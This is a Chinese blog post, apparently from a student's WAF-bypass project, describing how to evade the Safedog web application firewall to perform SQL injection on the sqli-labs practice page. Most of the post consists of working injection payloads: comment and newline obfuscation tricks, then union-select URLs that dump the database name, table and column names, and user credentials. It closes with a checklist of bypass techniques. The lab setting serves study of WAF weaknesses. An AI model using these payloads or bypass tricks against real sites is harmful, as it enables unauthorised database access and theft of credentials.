记一次绕狗进行sql注入

最近本人的毕设题目定了下来,是做关于waf bypass方面的研究,所以我就打算找几个市面上常用的waf绕一绕,第一个实验品就是安全狗。

测试环境

  • 操作系统:Windows
  • 中间件:APACHE 2.4
  • 数据库:MySql
  • WAF名称:安全狗
  • WAF版本:Windows APACHE版 4.0

WAF安装

安全狗的安装还蛮自动化的,需要注意的是如果使用的是phpstudy,可能会出现无法找到apache服务名的问题:解决方案

WAF绕过

测试用的网页来自于sqlilabs第一关,这一关是字符型注入。
首先判断sql语句里有几列,需要使用order by来查看
尝试?id=1’ order by 1#
拦截
结果肯定是被waf拦截,尝试?id=1’ order xby 1%23
未被拦截
出现报错,接下来就考虑用各种姿势替换掉x
尝试了以下几种:(%23=#,%0a=换行符)

  • ?id=1’ order//by 1%23** 拦截
  • ?id=1’ order/!/by 1%23 拦截
  • ?id=1’ order%0aby 1%23 拦截
  • ?id=1’ order%23%0Aby 1%23 未被拦截
    最后得出sql语句中有3个字段。

尝试?id=1’ union select 1,2%23
拦截
结果肯定是被拦截,尝试:

  • ?id=1’ xunion select 1,2,3%23 拦截
  • ?id=1’ uxnion select 1,2,3%23 未被拦截
  • ?id=1’ unionx select 1,2,3%23 未被拦截
  • ?id=1’ union xselect 1,2,3%23 未被拦截

开始替换:

  • ?id=-1’union/!/select 1,2,3%23 拦截
  • ?id=-1’union/!select/ 1,2,3%23 拦截
  • ?id=-1’union/*!///select 1,2,3%23* 拦截
  • ?id=-1’union/!/xxx//select 1,2,3%23 拦截
  • ?id=-1’union/*!///%0A select 1,2,3%23* 拦截
  • ?id=-1’union/*!///%23%0A select 1,2,3%23* 拦截
  • ?id=-1’union/*!///– -%23%0A select 1,2,3%23* 拦截
  • ?id=-1’union/*!///– -xxxx%23%0Aselect 1,2,3%23* 未被拦截

库名

1
?id=-1'union/*!/**/*/-- -xxxx%23%0Aselect 1,/*!database*/%23%0A(),3%23

表名

1
?id=-1'union/*!/**/*/-- -xxxx%23%0Aselect 1,table_name,3 %23%0Afrom information_schema.tables where table_schema = /*!database*/%23%0A() limit 3,4%23

users表名
字段名

1
?id=-1'union/*!/**/*/-- -xxxx%23%0Aselect 1,group_concat(column_name),3 %23%0Afrom information_schema.columns where table_name = 'users' %26%26 table_schema = /*!database*/%23%0A()%23

字段名
获取敏感数据

1
?id=-1'union/*!/**/*/-- -xxxx%23%0Aselect 1,group_concat(username),group_concat(password) %23%0Afrom users%23

敏感数据

总结

安全狗属于通过正则匹配进行注入检测的WAF,所以目标就是要寻找狗的正则匹配的漏洞,我总结了一下这次绕过的一些步骤:

  1. 使用简短的字符(本次测试中用的字母x)插入到语句之间,如果出现未触发waf的情况就记录下来
  2. 根据未触发waf的情况,将插入的简短字符替换成各种常用的绕过姿势,直到不触发waf为止

本篇用到的绕过姿势也总结一下:

  • /!/
  • /!(版本号)(要执行的语句)/(版本号为00000~99999)
  • /**/
  • %26%26(&&)
  • %23%0a(#和换行符)
  • %0a
  • 如果%23%0a不行,尝试– -%0a和– -(无用字符)%0a
  • 待更新
文章作者: SineX8
文章链接: http://sinex8.github.io/2019/10/24/记一次绕狗进行sql注入/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 SineX8's Area